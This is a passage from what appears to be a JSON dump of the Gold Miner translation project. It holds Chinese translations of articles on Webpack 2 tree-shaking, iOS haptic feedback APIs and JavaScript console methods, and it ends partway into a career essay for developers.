    "content": "\n  > * 原文地址：[How to do proper tree-shaking in Webpack 2](https://blog.craftlab.hu/how-to-do-proper-tree-shaking-in-webpack-2-e27852af8b21)\n  > * 原文作者：[Gábor Soós](https://blog.craftlab.hu/@blacksonic86)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-do-proper-tree-shaking-in-webpack-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-do-proper-tree-shaking-in-webpack-2.md)\n  > * 译者：[薛定谔的猫](https://github.com/Aladdin-ADD/)\n  > * 校对者：[lsvih](https://github.com/lsvih)、[lampui](https://github.com/lampui)\n\n  # 如何在 Webpack 2 中使用 tree-shaking\n\ntree-shaking 这个术语首先源自 [Rollup](https://rollupjs.org/) -- Rich Harris 写的模块打包工具。它是指在打包时只包含用到的 Javascript 代码。它依赖于 ES6 静态模块（exports 和 imports 不能在运行时修改），这使我们在打包时可以检测到未使用的代码。Webpack 2 也引入了这一特性，[Webpack 2](https://webpack.js.org/) 已经内置支持 ES6 模块和 tree-shaking。本文将会介绍如何在 webpack 中使用这一特性，如何克服使用中的难点。\n\n![](https://cdn-images-1.medium.com/max/2000/1*djuJdyxfBwGEClfgji8GRw.jpeg)\n\n如果想跳过，直接看例子请访问 [Babel](https://github.com/blacksonic/babel-webpack-tree-shaking)、[Typescript](https://github.com/blacksonic/typescript-webpack-tree-shaking)。\n\n#### 应用举例\n\n理解在 Webpack 中使用 tree-shaking 的最佳的方式是通过一个微型应用例子。我将它比作一个汽车有特定的引擎，该应用由 2 个文件组成。第 1 个文件有：一些 class，代表不同种类的引擎；一个函数返回其版本号 -- 都通过 export 关键字导出。\n\n```\nexport class V6Engine {\n  toString() {\n    return 'V6';\n  }\n}\n\nexport class V8Engine {\n  toString() {\n    return 'V8';\n  }\n}\n\nexport function getVersion() {\n  return '1.0';\n}\n```\n\n第 2 个文件表示一个汽车拥有它自己的引擎，将这个文件作为应用打包的入口（entry）。\n\n```\nimport { V8Engine } from './engine';\n\nclass SportsCar {\n  constructor(engine) {\n    this.engine = engine;\n  }\n\n  toString() {\n    return this.engine.toString() + ' Sports Car';\n  }\n}\n\nconsole.log(new SportsCar(new V8Engine()).toString());\n```\n\n通过定义类 SportsCar，我们只使用了 *V8Engine*，而没有用到 *V6Engine*。运行这个应用会输出：*‘V8 Sports Car’*。\n\n应用了 tree-shaking 后，我们期望打包结果只包含用到的类和函数。在这个例子中，意味着它只有 *V8Engine* 和 *SportsCar* 类。让我们来看看它是如何工作的。\n\n#### 打包\n\n![](https://cdn-images-1.medium.com/max/1600/1*eXdX_sQKzEZomscFgpEwRQ.png)\n\n我们打包时不使用编译器（[Babel](https://babeljs.io/) 等）和压缩工具（[UglifyJS](https://github.com/mishoo/UglifyJS2) 等），可以得到如下输出：\n```\n(function(module, __webpack_exports__, __webpack_require__) {\n\n\"use strict\";\n/* unused harmony export getVersion */\nclass V6Engine {\n  toString() {\n    return 'V6';\n  }\n}\n/* unused harmony export V6Engine */\n\nclass V8Engine {\n  toString() {\n    return 'V8';\n  }\n}\n/* harmony export (immutable) */ __webpack_exports__[\"a\"] = V8Engine;\n\nfunction getVersion() {\n  return '1.0';\n}\n\n/***/ }),\n/* 1 */\n/***/ (function(module, __webpack_exports__, __webpack_require__) {\n\n\"use strict\";\nObject.defineProperty(__webpack_exports__, \"__esModule\", { value: true });\n/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__engine__ = __webpack_require__(0);\n\nclass SportsCar {\n  constructor(engine) {\n    this.engine = engine;\n  }\n\n  toString() {\n    return this.engine.toString() + ' Sports Car';\n  }\n}\n\nconsole.log(new SportsCar(new __WEBPACK_IMPORTED_MODULE_0__engine__[\"a\" /* V8Engine */]()).toString());\n\n/***/ })\n```\n\nWebpack 用注释 */\\*unused harmony export V6Engine\\*/* 将未使用的类和函数标记下来，用 */\\*harmony export (immutable)\\*/ __webpack_exports__[“a”] = V8Engine;* 来标记用到的。你应该会问未使用的代码怎么还在？tree-shaking 没有生效吗？\n\n#### 移除未使用代码（Dead code elimination）vs 包含已使用代码（live code inclusion）\n\n背后的原因是：Webpack 仅仅标记未使用的代码（而不移除），并且不将其导出到模块外。它拉取所有用到的代码，将剩余的（未使用的）代码留给像 UglifyJS 这类压缩代码的工具来移除。UglifyJS 读取打包结果，在压缩之前移除未使用的代码。通过这一机制，就可以移除未使用的函数 *getVersion* 和类 *V6Engine*。\n\n而 Rollup 不同，它（的打包结果）只包含运行应用程序所必需的代码。打包完成后的输出并没有未使用的类和函数，压缩仅涉及实际使用的代码。\n\n#### 设置\n\nUglifyJS [不支持 ES6](https://github.com/mishoo/UglifyJS2/issues/448)（又名 ES2015）及以上。我们需要用 Babel 将代码编译为 ES5，然后再用 UglifyJS 来清除无用代码。\n\n![](https://cdn-images-1.medium.com/max/1600/1*FS50WgvWgoi3hxY_IPqTXw.png)\n\n最重要的是让 ES6 模块不受 Babel 预设（preset）的影响。Webpack 认识 ES6 模块，只有当保留 ES6 模块语法时才能够应用 tree-shaking。如果将其转换为 CommonJS 语法，Webpack 不知道哪些代码是使用过的，哪些不是（就不能应用 tree-shaking了）。最后，Webpack将把它们转换为 CommonJS 语法。\n\n我们需要告诉 Babel 预设（在这个例子中是[babel-preset-env](https://github.com/babel/babel-preset-env)）不要转换 module。\n\n```\n{\n  \"presets\": [\n    [\"env\", {\n      \"loose\": true,\n      \"modules\": false\n    }]\n  ]\n}\n```\n\n对应 Webpack 配置：\n\n```\nmodule: {\n  rules: [\n    { test: /\\.js$/, loader: 'babel-loader' }\n  ]\n},\n\nplugins: [\n  new webpack.LoaderOptionsPlugin({\n    minimize: true,\n    debug: false\n  }),\n  new webpack.optimize.UglifyJsPlugin({\n    compress: {\n      warnings: true\n    },\n    output: {\n      comments: false\n    },\n    sourceMap: false\n  })\n]\n```\n\n来看一下 tree-shaking 之后的输出: [link to minified code](https://github.com/blacksonic/babel-webpack-tree-shaking/blob/master/dist/car.prod.bundle.js).\n\n可以看到函数 getVersion 被移除了，这是我们所预期的，然而类 V6Engine 并没有被移除。这是什么原因呢？\n\n#### 问题\n\n首先 Babel 检测到 ES6 模块将其转换为 ES5，然后 Webpack 将所有的模块聚集起来，最后 UglifyJS 会移除未使用的代码。我们来看一下 UglifyJS 的输出，就可以找到问题出在哪里。\n\n*WARNING in car.prod.bundle.js from UglifyJs\nDropping unused function getVersion [car.prod.bundle.js:103,9]\nSide effects in initialization of unused variable V6Engine [car.prod.bundle.js:79,4]*\n\n它告诉我们类 *V6Engine* 转换为 ES5 的代码在初始化时有副作用。\n```\nvar V6Engine = function () {\n  function V6Engine() {\n    _classCallCheck(this, V6Engine);\n  }\n\n  V6Engine.prototype.toString = function toString() {\n    return 'V6';\n  };\n\n  return V6Engine;\n}();\n```\n\n在使用 ES5 语法定义类时，类的成员函数会被添加到属性 *prototype*，没有什么方法能完全避免这次赋值。UglifyJS 不能够分辨它仅仅是类声明，还是其它有副作用的操作 -- UglifyJS 不能做控制流分析。\n\n编译过程阻止了对类进行 tree-shaking。它仅对函数起作用。\n\n在 Github 上，有一些相关的 bug report：[Webpack repository](https://github.com/webpack/webpack/issues/2867)、[UglifyJS repository](https://github.com/mishoo/UglifyJS2/issues/1261)。一个解决方案是 UglifyJS 完全支持 ES6，希望[下个主版本](https://github.com/mishoo/UglifyJS2/issues/1411)能够支持。另一个解决方案是将其标记为 pure（无副作用），以便 UglifyJS 能够处理。这种方法[已经实现](https://github.com/mishoo/UglifyJS2/pull/1448)，但要想生效，还需编译器支持将类编译后的赋值标记为 @\\__PURE\\__。实现进度：[Babel](https://github.com/babel/babel/issues/5632)、[Typescript](https://github.com/Microsoft/TypeScript/issues/13721)。\n\n#### 使用 Babili\n\nBabel 的开发者们认为：为什么不开发一个基于 Babel 的代码压缩工具，这样就能够识别 ES6+ 的语法了。所以他们开发了[Babili](https://github.com/babel/babili)，所有 Babel 可以解析的语言特性它都支持。Babili 能将 ES6 代码编译为 ES5，移除未使用的类和函数，这就像 UglifyJS 已经支持 ES6 一样。\n\nBabili 会在编译前删除未使用的代码。在编译为 ES5 之前，很容易找到未使用的类，因此 tree-shaking 也可以用于类声明，而不再仅仅是函数。\n\n我们只需用 Babili 替换 UglifyJS，然后删除 babel-loader 即可。另一种方式是将 Babili 作为 Babel 的预设，仅使用 babel-loader（移除 UglifyJS 插件）。推荐使用第一种（插件的方式），因为当编译器不是 Babel（比如 Typescript）时，它也能生效。\n\n```\nmodule: {\n  rules: []\n},\n\nplugins: [\n  new BabiliPlugin()\n]\n```\n\n我们需要将 ES6+ 代码传给 BabiliPlugin，否则它不用移除（未使用的）类。\n\n使用 Typescript 等编译器时，也应当使用 ES6+。Typescript 应当输出 ES6+ 代码，以便 tree-shaking 能够生效。\n\n现在的输出不再包含类 *V6Engine*：[压缩后代码](https://github.com/blacksonic/babel-webpack-tree-shaking/blob/master/dist/car.es2015.prod.bundle.js)。\n\n#### 第三方包\n\n对第三方包来说也是，应当使用 ES6 模块。幸运的是，越来越多的包作者同时发布 CommonJS 格式 和 ES6 格式的模块。ES6 模块的入口由 *package.json* 的字段 *module* 指定。\n\n对 ES6 模块，未使用的函数会被移除，但 class 并不一定会。只有当包内的 class 定义也为 ES6 格式时，Babili 才能将其移除。很少有包能够以这种格式发布，但有的做到了（比如说 lodash 的 lodash-es）。\n\n罪魁祸首是当包的单独文件通过扩展它们来修改其他模块时，导入文件有副作用。[RxJs](https://github.com/Reactive-Extensions/RxJS)就是一个例子。通过导入一个运算符来修改其中一个类，这些被认为是副作用，它们阻止代码进行 tree-shaking。\n\n#### 总结\n\n通过 tree-shaking 你可以相当程度上减少应用的体积。Webpack 2 内置支持它，但其机制并不同于 Rollup。它会包含所有的代码，标记未使用的函数和函数，以便压缩工具能够移除。这就是对所有代码都进行 tree-shake 的困难之处。使用默认的压缩工具 UglifyJS，它仅移除未使用的函数和变量；Babili 支持 ES6，可以用它来移除（未使用的）类。我们还必须特别注意第三方模块发布的方式是否支持 tree-shaking。\n\n希望这篇文章为您清楚阐述了 Webpack tree-shaking 背后的原理，并提供了克服困难的思路。\n\n实际例子请访问 [Babel](https://github.com/blacksonic/babel-webpack-tree-shaking)、[Typescript](https://github.com/blacksonic/typescript-webpack-tree-shaking)。\n\n---\n\n*感谢阅读！喜欢本文请点击[原文](https://blog.craftlab.hu/how-to-do-proper-tree-shaking-in-webpack-2-e27852af8b21)中的 ❤，然后分享到社交媒体上。欢迎关注 [Medium](https://medium.com/@blacksonic86)，[Twitter](https://twitter.com/blacksonic86) 阅读更多有关 Javascript 的内容！*\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/how-to-generate-haptic-feedback-with-uifeedbackgenerator.md",
    "content": "> * 原文地址：[How to generate haptic feedback with UIFeedbackGenerator](https://www.hackingwithswift.com/example-code/uikit/how-to-generate-haptic-feedback-with-uifeedbackgenerator)\n* 原文作者：[twostraws](https://twitter.com/twostraws)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[owenlyn](https://github.com/owenlyn)\n* 校对者：[luoyaqifei](http://www.zengmingxia.com/) [Tuccuay](https://github.com/Tuccuay)\n\n# 如何使用 UIFeedbackGenerator 让应用支持 iOS 10 的触觉反馈\n\n\n\n\n## 始于 iOS 10.0\n\niOS 10 引入了一种新的、产生触觉反馈的方式，它通过使用所有应用共享的预定义震动模式，来帮助用户认识到不同的震动反馈有不同的含义。这个功能的核心由 `UIFeedbackGenerator` 提供，不过这只是一个抽象类 (abstract class) —— 你真正需要关注的三个类是 `UINotificationFeedbackGenerator`，`UIImpactFeedbackGenerator`，和 `UISelectionFeedbackGenerator`。\n\n其中的第一个，`UINotificationFeedbackGenerator` 让你可以根据三种系统事件：`error`，`success`，和 `warning` 来产生反馈。第二个，`UIImpactFeedbackGenerator`，它可以产生三种不同程度的、 Apple 所说的“物理与视觉相得益彰的体验”。最后一个， `UISelectionFeedbackGenerator` 会在用户改变他们在屏幕上的选择（例如滑动一个转盘选择器）的时候被触发，产生一个相应的反馈。\n\n**这时候，只有 iPhone 7 和 iPhone 7 Plus 内置的新 Taptic 引擎支持这些应用程序接口（API）。其他设备只能静静地忽略这些触觉反馈的请求。**\n\n想要试试这些新的 API，你需要在 Xcode 里新建一个 Single View Application 的模板，然后用以下测试脚手架替换内置的 `ViewController` 类：:\n\n    import UIKit\n\n    class ViewController: UIViewController {\n    \tvar i = 0\n\n    \toverride func viewDidLoad() {\n    \t\tsuper.viewDidLoad()\n\n    \t\tlet btn = UIButton()\n    \t\tbtn.translatesAutoresizingMaskIntoConstraints = false\n\n    \t\tbtn.widthAnchor.constraint(equalToConstant: 128).isActive = true\n    \t\tbtn.heightAnchor.constraint(equalToConstant: 128).isActive = true\n    \t\tbtn.centerXAnchor.constraint(equalTo: view.centerXAnchor).isActive = true\n    \t\tbtn.centerYAnchor.constraint(equalTo: view.centerYAnchor).isActive = true\n\n    \t\tbtn.setTitle(\"Tap here!\", for: .normal)\n    \t\tbtn.setTitleColor(UIColor.red, for: .normal)\n    \t\tbtn.addTarget(self, action: #selector(tapped), for: .touchUpInside)\n\n    \t\tview.addSubview(btn)\n    \t}\n\n    \tfunc tapped() {\n    \t\ti += 1\n    \t\tprint(\"Running \\(i)\")\n\n    \t\tswitch i {\n    \t\tcase 1:\n    \t\t\tlet generator = UINotificationFeedbackGenerator()\n    \t\t\tgenerator.notificationOccurred(.error)\n\n    \t\tcase 2:\n    \t\t\tlet generator = UINotificationFeedbackGenerator()\n    \t\t\tgenerator.notificationOccurred(.success)\n\n    \t\tcase 3:\n    \t\t\tlet generator = UINotificationFeedbackGenerator()\n    \t\t\tgenerator.notificationOccurred(.warning)\n\n    \t\tcase 4:\n    \t\t\tlet generator = UIImpactFeedbackGenerator(style: .light)\n    \t\t\tgenerator.impactOccurred()\n\n    \t\tcase 5:\n    \t\t\tlet generator = UIImpactFeedbackGenerator(style: .medium)\n    \t\t\tgenerator.impactOccurred()\n\n    \t\tcase 6:\n    \t\t\tlet generator = UIImpactFeedbackGenerator(style: .heavy)\n    \t\t\tgenerator.impactOccurred()\n\n    \t\tdefault:\n    \t\t\tlet generator = UISelectionFeedbackGenerator()\n    \t\t\tgenerator.selectionChanged()\n    \t\t\ti = 0\n    \t\t}\n    \t}\n    }\n\n当你在手机上运行它的时候，按下 \"Tap here!\" 按钮可以轮流按顺序体验各种震动选项。\n\n一个小贴士：因为系统准备触觉反馈需要一段时间，Apple 建议，触发触觉效果之前，在你的生成器 (generator) 内调用 `prepare()` 方法。如果你不这么做的话，在视觉效果和对应的震动之间确实会有一个小小的延迟，这给用户造成的迷惑可能会大过它的用处。\n\n尽管从技术上来说，你可以给任何东西都加一个“操作成功”的反馈，但如果这么做而又做得不恰当的话，反而会给用户带来困惑，尤其是那些在人机交互上严重依赖触觉反馈的用户。Apple 特别要求开发者们要“恰如其分”的使用它们，尤其不要在给定的情境下使用错误的触觉反馈，而且记住，并不是所有的设备都支持这个新的触觉反馈 —— 毕竟你还要考虑那些旧 iPhone 的用户呐~\n\n这个方案对你有帮助吗？请把它分享给更多人吧！\n\n\n\n\n\n\n"
  },
  {
    "path": "TODO/how-to-get-the-most-out-of-the-javascript-console.md",
    "content": "> * 原文地址：[How to get the most out of the JavaScript console](https://medium.freecodecamp.com/how-to-get-the-most-out-of-the-javascript-console-b57ca9db3e6d)\n> * 原文作者：[Darryl Pargeter](https://medium.freecodecamp.com/@darrylpargeter)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[reid3290](https://github.com/reid3290)、[Aladdin-ADD](https://github.com/Aladdin-ADD)\n\n---\n\n# 如何充分利用 JavaScript 控制台\n\n![](https://cdn-images-1.medium.com/max/2000/1*mM2AMk0TRENA2zF2RMEebA.jpeg)\n\nJavaScript 中最基本的调试工具之一就是 `console.log()`。`console` 还附带了一些其他好用的方法，可以添加到开发人员的调试工具包中。\n\n你可以使用 `console` 执行以下任务：\n\n- 输出一个计时器来协助进行简单的基准测试\n- 输出一个表格来以易读的格式显示一个数组或对象\n- 使用 CSS 将颜色和其他样式选项应用于输出\n\n### Console 对象\n\n`console` 对象允许您访问浏览器的控制台。它允许你输出有助于调试代码的字符串、数组和对象。`console` 是 `window` 对象的属性，由[浏览器对象模型(BOM)](https://www.w3schools.com/js/js_window.asp)提供。\n\n我们可以通过这两种方法之一访问 `console`：\n\n1. `window.console.log('This works')`\n2. `console.log('So does this')`\n\n第二个选项本质上是对前者的引用，所以我们使用后者以精简代码。\n\n关于 BOM 的快速提示：它没有设定标准，所以每家浏览器都以稍微不同的方式实现。我在 Chrome 和 Firefox 测试了所有示例，但你的输出可能有所不同，这取决于你使用的浏览器。\n\n### 输出文本\n\n![](https://cdn-images-1.medium.com/max/800/1*eEnUT7quS8oCeOsoGn1Kxw.png)\n\n将文本记录到控制台\n`console` 对象最常见的元素是 `console.log`，对于大多数情况，使用它就可以完成任务。\n\n输出信息到控制台的四种方式：\n\n1. `log`\n2. `info`\n3. `warn`\n4. `error`\n\n他们四个工作方式相同。你唯一要做的是给选择的方法传递一个或更多的参数。控制台会显示不同的图标来指示其记录级别。下面的例子中你可以看到 info 级别的记录和 warning/error 级别的不同之处。\n\n![](https://cdn-images-1.medium.com/max/800/1*AKbeddGNDqLYaJOMQlrrMw.png)\n\n简单易读的输出\n\n![](https://cdn-images-1.medium.com/max/800/1*3yKUiYLyju8f9gE71w1Sxw.png)\n\n输出东西太多将变得难以阅读\n\n你可能注意到了 error 日志消息 —— 它比其他消息更显眼。它显示着红色的背景和[堆栈跟踪](https://en.wikipedia.org/wiki/Stack_trace)，而 `info` 和 `warn` 就不会。但是在 Chrome 中 `warn` 确实有一个黄色的背景。\n\n视觉上的区分有助于你在控制台快速浏览辨别出错误或警告信息。你应该确保在准备生产的应用中移除它们，除非你打算让它们来警示其他操作你的代码的开发者。\n\n### 字符串替换\n\n这个技术可以使用字符串中的占位符来替换你向方法中传入的其他参数。\n\n**输入**： `console.log('string %s', 'substitutions')`\n\n**输出**： `string substitutions`\n\n`%s` 是逗号后面第二个参数 `'substitutions'` 的占位符。任何的字符串、整数或数组都将被转换成字符串并替换 `%s`。如果你传入一个对象，它将显示为 `[object Object]`。\n\n如果你想传入对象，你需要使用 `%o` 或者 `%O`，而不是 `%s`。\n\n`console.log('this is an object %o', { obj: { obj2: 'hello' }})`\n\n![](https://cdn-images-1.medium.com/max/800/1*WhqTGnch8S2kAIQYxXOLhw.png)\n\n#### 数字\n\n字符串替换可以与整数和浮点数一起使用：\n\n- 整数使用 `%i` 或 `%d`,\n- 浮点数使用 `%f`。\n\n**输入**： `console.log('int: %d, floating-point: %f', 1, 1.5)`\n\n**输出**：`int: 1, floating-point: 1.500000`\n\n可以使用 `%.1f` 来格式化浮点数，使小数点后仅显示一位小数。你可以用 `%.nf` 来显示小数点后 n 位小数。\n\n如果我们使用上述例子显示小数点后一位小数来格式化浮点数值，它看起来这样：\n\n**输入**： `console.log('int: %d, floating-point: %.1f', 1, 1.5)`\n\n**输出**： `int: 1, floating-point: 1.5`\n\n#### 格式化说明符\n\n1. `%s` | 使用字符串替换元素\n2. `%(d|i)`| 使用整数替换元素\n3. `%f `| 使用浮点数替换元素\n4. `%(o|O)` | 元素显示为一个对象\n5. `%c` | 应用提供的 CSS\n\n#### 字符串模板\n\n随着 ES6 的出现，模板字符串是替换或连接的替代品。他们使用反引号(\\`\\`)来代替引号，变量包裹在 `${}` 中：\n\n    const a = 'substitutions';\n\n    console.log(`bear: ${a}`);\n\n    // bear: substitutions\n\n对象在模板字符串中显示为 `[object Object]`，所以你将需要使用 `%o` 或 `%O` 替换以看到详情，或单独记录。\n\n比起使用字符串连接：`console.log('hello' + str + '!');`，使用替换或模板可以创建更易读的代码。\n\n#### 美妙的彩色插曲！\n\n现在，是时候来点更有趣而多彩的东西了！\n\n是时候用字符串替换让我们的 `console` 弹出丰富多彩的颜色了。\n\n我将使用一个模仿 Ajax 的例子，给我们显示一个请求成功（用绿色）和失败（用红色）。这是输出和代码：\n\n![](https://cdn-images-1.medium.com/max/800/1*BRAhnRn9GpZgrUf_SQfi3A.png)\n\n成功的小熊和失败的蝙蝠\n\n    const success = [\n     'background: green',\n     'color: white',\n     'display: block',\n     'text-align: center'\n    ].join(';');\n\n    const failure = [\n     'background: red',\n     'color: white',\n     'display: block',\n     'text-align: center'\n    ].join(';');\n\n    console.info('%c /dancing/bears was Successful!', success);\n    console.log({data: {\n     name: 'Bob',\n     age: 'unknown'\n    }}); // \"mocked\" data response\n\n    console.error('%c /dancing/bats failed!', failure);\n    console.log('/dancing/bats Does not exist');\n\n在字符串替换中使用 `%c` 占位符来应用你的样式规则。\n\n    console.error('%c /dancing/bats failed!', failure);\n\n然后把你的 CSS 元素作为参数，你就能看到应用 CSS 的日志了。 你也可以给你的字符串添加多个 `%c`。\n\n    console.log('%cred %cblue %cwhite','color:red;','color:blue;', 'color: white;')\n\n这将按照他们的代表的颜色输出字符 “red”、“blue” 和 “white”。\n\n控制台仅仅支持少数 CSS 属性，建议你试验一下哪些支持哪些不支持。重申一下，你的输出结果可能因你的浏览器而异。\n\n### 其他可用的方法\n\n还有几个其他可用的 `console` 方法。注意下面有几项还不是 API 标准，所以可能浏览器间互不兼容。这个例子使用的是 Firefox 51.0.1。\n\n#### Assert()\n\n`Assert` 携带两个参数 —— 如果第一个参数计算为 false，那么它将显示第二个参数。\n\n    let isTrue = false;\n\n    console.assert(isTrue, 'This will display');\n\n    isTrue = true;\n\n    console.assert(isTrue, 'This will not');\n\n如果断言为 false，控制台将输出内容。它显示为一个上文提到的 error 级别的日志，给你显示一个红色的错误消息和堆栈跟踪。\n\n#### Dir()\n\n`dir` 方法显示一个传入对象的可交互属性列表。\n\n    console.dir(document.body);\n\n![](https://cdn-images-1.medium.com/max/800/1*4Zj5EuPTHcQH5-K0NWHb7g.png)\n\nChrome 会显示不同的层级\n最终，`dir` 仅仅能节省一两次点击，如果你需要检查一个 API 响应返回的对象，你可以用它结构化地显示出来以节约一些时间。\n\n#### Table()\n\n`table` 方法用一个表格显示数组或对象\n\n    console.table(['Javascript', 'PHP', 'Perl', 'C++']);\n\n![](https://cdn-images-1.medium.com/max/800/1*nza7ZWxYG-_X47VJ54FtZg.png)\n\n输出数组\n\n数组的索引或对象的属性名位于左侧的索引栏，值显示在右侧列栏。\n\n    const superhero = {\n        firstname: 'Peter',\n        lastname: 'Parker',\n    }\n    console.table(superhero);\n\n![](https://cdn-images-1.medium.com/max/800/1*BXhY3PzulYFzzcW-Qwga8Q.png)\n\n输出对象\n\n**Chrome 用户需要注意：** 这是我的同事提醒我的，上述 `table` 方法的例子在 Chrome 中貌似不能工作。你可以通过将项目放入数组或对象数组中来解决此问题。\n\n    console.table([['Javascript', 'PHP', 'Perl', 'C++']]);\n\n    const superhero = {\n        firstname: 'Peter',\n        lastname: 'Parker',\n    }\n    console.table([superhero]);\n\n#### Group()\n\n`console.group()` 由至少三个 `console` 调用组成，它可能是使用时需要打最多字的方法。但它也是最有用的方法之一（特别对使用 [Redux Logger](https://github.com/evgenyrodionov/redux-logger) 的开发者）。\n\n稍基础的调用看起来是这样的：\n\n    console.group();\n    console.log('I will output');\n    console.group();\n    console.log('more indents')\n    console.groupEnd();\n    console.log('ohh look a bear');\n    console.groupEnd();\n\n这将输出多个层级，显示效果因你的显示器而异。\n\nFirefox 显示成缩进列表：\n\n![](https://cdn-images-1.medium.com/max/800/1*xFU0AtDqgwLJVUwE4Yo9_w.png)\n\nChrome 显示成对象的风格：\n\n![](https://cdn-images-1.medium.com/max/800/1*9hJkBrf4uEXaC1PYe8bomQ.png)\n\n每次调用 `console.group()` 都将开启一个新的组，如果在一个组内会创建一个新的层级。每次调用 `console.groupEnd()` 都会结束当前组或层级并向上移动一个层级。\n\n我发现 Chrome 的输出样式更易读，因为它看起来像一个可折叠的对象。\n\n你可以给 `group` 传入一个 header 参数，它将被显示并替代 `console.group`：\n\n    console.group('Header');\n\n如果你调用 `console.groupCollapsed()`，你可以从一开始就将这个组显示为折叠。据我所知，这个方法可能只有 Chrome 支持。\n\n#### Time()\n\n`time` 方法和上文的 `group` 方法类似，由两部分组成。\n\n一个用于启动计时器的方法和一个停止它的方法。\n\n一旦计时器完成，它将以毫秒为单位输出总运行时间。\n\n启动计时器使用 `console.time('id for timer')`，结束计时器使用 `console.timeEnd('id for timer')`。您可以同时运行多达 10,000 个定时器。\n\n输出结果可能有点像这样： `timer: 0.57ms`。\n\n当你需要做一个快速的基准测试时，它非常有用。\n\n### 结论  \n\n我们已经更深入地了解了 console 对象以及其中附带的其他一些方法。当我们需要调试代码时，这些方法是可用的好工具。\n\n仍然有几种方法我没有谈论，因为他们的 API 依然在变动。具体可以阅读 [MDN Web API](https://developer.mozilla.org/en/docs/Web/API/console) 和 [WHATWG 规范](https://console.spec.whatwg.org/)。\n\n![](https://cdn-images-1.medium.com/max/800/1*0SNCJfem2WVKSJIDzConxg.png)\n\n[https://developer.mozilla.org/en/docs/Web/API/console](https://developer.mozilla.org/en/docs/Web/API/console)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/how-to-go-from-hobbyist-to-professional-developer.md",
    "content": "> * 原文地址：[How to Go From Hobbyist to Professional Developer](https://medium.freecodecamp.com/how-to-go-from-hobbyist-to-professional-developer-11a8b8a52b5f)\n> * 原文作者：[Ken Rogers](https://medium.freecodecamp.com/@kenrogers)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[zaraguo](https://github.com/zaraguo)\n> * 校对者：[SareaYu](https://github.com/sareayu) [DeadLion](https://github.com/deadlion)\n\n# 如何从一个业余爱好者成长成为专业开发者 #\n\n![](https://cdn-images-1.medium.com/max/2000/1*LZZ9Sr4XL7j2-LjSJ5uq9Q.jpeg)\n\n几年前，我正处于园林设计工作和餐馆工作两头跑的状态中。那时我刚离开大学校园，不知道未来我将靠什么为生。\n\n我有许多想法，却毫无方向。在那段时间里，我开始自学编程。起初这只是一个爱好。我觉得仅靠自己的大脑和代码去创造东西是一件很酷的事。\n\n逐渐地我开始思考生活前进的方向，并视以编程为生为一个有可能的生活方式。\n\n一开始，我也只是随便想想而已。我负担不起现代教育的费用。我早就因为钱的原因而辍学了，如果要修计算机科学专业，我必须重新开始。\n\n我已经离开大学校园整整六年之久。如果我选择重返校园学习计算机科学还将给我带来超过五万美元的负债。所以这条路行不通。\n\n然后我想到我可以通过自学 Web 开发来获得一份实习工作。\n\n我最初的计划是向镇上的几家公司推荐我自己，问他们是否愿意和我见面。我想和他们谈论我一边读书一边帮他们打工的可能性。通过这种方式我可以支付我的学费，同时获得一些工作经验。\n\n因此我开始认真对待 Web 开发。\n\n不是东学一点西学一点而是开始构建一个真实的作品集并记录自己的技能。\n\n我开始活跃在类似 Stack Overflow 的网站。\n\n我写了一些实用的程序并将其放在了 GitHub 上。它们没什么特别的，但是它们展现了我的编程能力。\n\n有家公司拒绝提供我临时工的岗位。也不用我获得学位。他们直接提供了我一个试用期六个月的全职初级工程师的岗位。\n\n我开心极了。事实证明，认真并带有目的地开始学习编程，让我收获了相当多的知识。\n\n我有能力回答他们的提问，向他们展示我那微不足道的应用，并解释其工作原理。\n\n我在那家公司工作了两年半，之后在我生活的城市获得了一个 Web 开发的职位。\n\n## 把自己视为一个终生学习者 ##\n\n我将我在上一家公司工作的经历视为一个学习过程，尽我所能地去学习，这在我成长为一个专业工程师的道路上起到了相当大的作用。\n\n在公司里工作所获得的实践真知是无价的。知道如何与客户、同事相处以及遵守公司制度是十分重要的。而这些你只能从实践中获得。\n\n虽然我比刚开始的时候知道的更多，我一直视自己为一个学徒。渴望不断学习是成为一个伟大的开发人员的重要条件。一旦我们觉得我们已经掌握了某个技能，那么我们就会停止成长。\n\n海明威曾说过：\n\n> 